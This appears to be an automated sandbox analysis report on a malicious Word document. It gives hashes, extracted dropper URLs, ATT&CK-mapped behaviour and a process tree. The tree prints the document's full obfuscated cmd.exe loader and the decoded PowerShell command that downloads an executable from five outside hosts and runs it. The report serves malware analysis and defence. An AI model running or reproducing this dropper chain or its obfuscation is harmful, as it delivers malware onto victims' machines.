dac399cd370db99711be5b31c1b5935432b9cd11c5e9745e752a5a7b66ef9e67

Analysis

max time kernel
152s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2022 14:06

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General

Target

test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Size

81KB
MD5

fac7b441a730abf96b210a8db9dbf3d1
SHA1

9f5bb869b95136f51b954e4284f99168ff0e91fb
SHA256

0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66
SHA512

0a5ec69ec554639ede43c359f38f8d2e52718b7e29a06aa112ff8cdc99b2777a39c3a9455d3796033a813cceda7487104fb8f0027eccfa138bcd0c2064606f07
SSDEEP

1536:focn1kp59gxBK85fBlHF5qFycNGrFMMzV/+a9:A41k/W483lWycNGzV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.serefozata.com/axf

exe.dropper

http://www.livingbranchanimalsciences.com/zVMQFL

exe.dropper

http://www.donghodaian.com/jiPViP

exe.dropper

http://sprayzee.com/iiWYe6z

exe.dropper

http://yasarkemalplatformu.org/s

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	484	5004	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

59 4408 powershell.exe
61 4408 powershell.exe
64 4408 powershell.exe
66 4408 powershell.exe
67 4408 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

484 cmd.exe
3692 cmd.exe

flow	pid	process
59	4408	powershell.exe
61	4408	powershell.exe
64	4408	powershell.exe
66	4408	powershell.exe
67	4408	powershell.exe

pid	process
484	cmd.exe
3692	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5004 WINWORD.EXE
5004 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4408 powershell.exe
4408 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4408 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

5004 WINWORD.EXE
5004 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

5004 WINWORD.EXE
5004 WINWORD.EXE
5004 WINWORD.EXE
5004 WINWORD.EXE
5004 WINWORD.EXE
5004 WINWORD.EXE
5004 WINWORD.EXE

pid	process
5004	WINWORD.EXE
5004	WINWORD.EXE

pid	process
4408	powershell.exe
4408	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4408	powershell.exe

pid	process
5004	WINWORD.EXE
5004	WINWORD.EXE

pid	process
5004	WINWORD.EXE
5004	WINWORD.EXE
5004	WINWORD.EXE
5004	WINWORD.EXE
5004	WINWORD.EXE
5004	WINWORD.EXE
5004	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 5004 wrote to memory of 4080	5004	WINWORD.EXE	splwow64.exe
PID 5004 wrote to memory of 4080	5004	WINWORD.EXE	splwow64.exe
PID 5004 wrote to memory of 484	5004	WINWORD.EXE	cmd.exe
PID 5004 wrote to memory of 484	5004	WINWORD.EXE	cmd.exe
PID 484 wrote to memory of 3692	484	cmd.exe	cmd.exe
PID 484 wrote to memory of 3692	484	cmd.exe	cmd.exe
PID 3692 wrote to memory of 4408	3692	cmd.exe	powershell.exe
PID 3692 wrote to memory of 4408	3692	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4080

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:484

C:\Windows\system32\cmd.exe
CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4408

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/484-141-0x0000000000000000-mapping.dmp

Download
memory/3692-142-0x0000000000000000-mapping.dmp

Download
memory/4080-139-0x0000000000000000-mapping.dmp

Download
memory/4408-146-0x00007FF86F6C0000-0x00007FF870181000-memory.dmp

Filesize
10.8MB

Download
memory/4408-145-0x00007FF86F6C0000-0x00007FF870181000-memory.dmp

Filesize
10.8MB

Download
memory/4408-144-0x000001C6B22A0000-0x000001C6B22C2000-memory.dmp

Filesize
136KB

Download
memory/4408-143-0x0000000000000000-mapping.dmp

Download
memory/5004-136-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-140-0x000001DC91A30000-0x000001DC91A34000-memory.dmp

Filesize
16KB

Download
memory/5004-138-0x00007FF85A490000-0x00007FF85A4A0000-memory.dmp

Filesize
64KB

Download
memory/5004-137-0x00007FF85A490000-0x00007FF85A4A0000-memory.dmp

Filesize
64KB

Download
memory/5004-132-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-135-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-134-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-133-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-148-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-149-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-150-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download
memory/5004-151-0x00007FF85CAD0000-0x00007FF85CAE0000-memory.dmp

Filesize
64KB

Download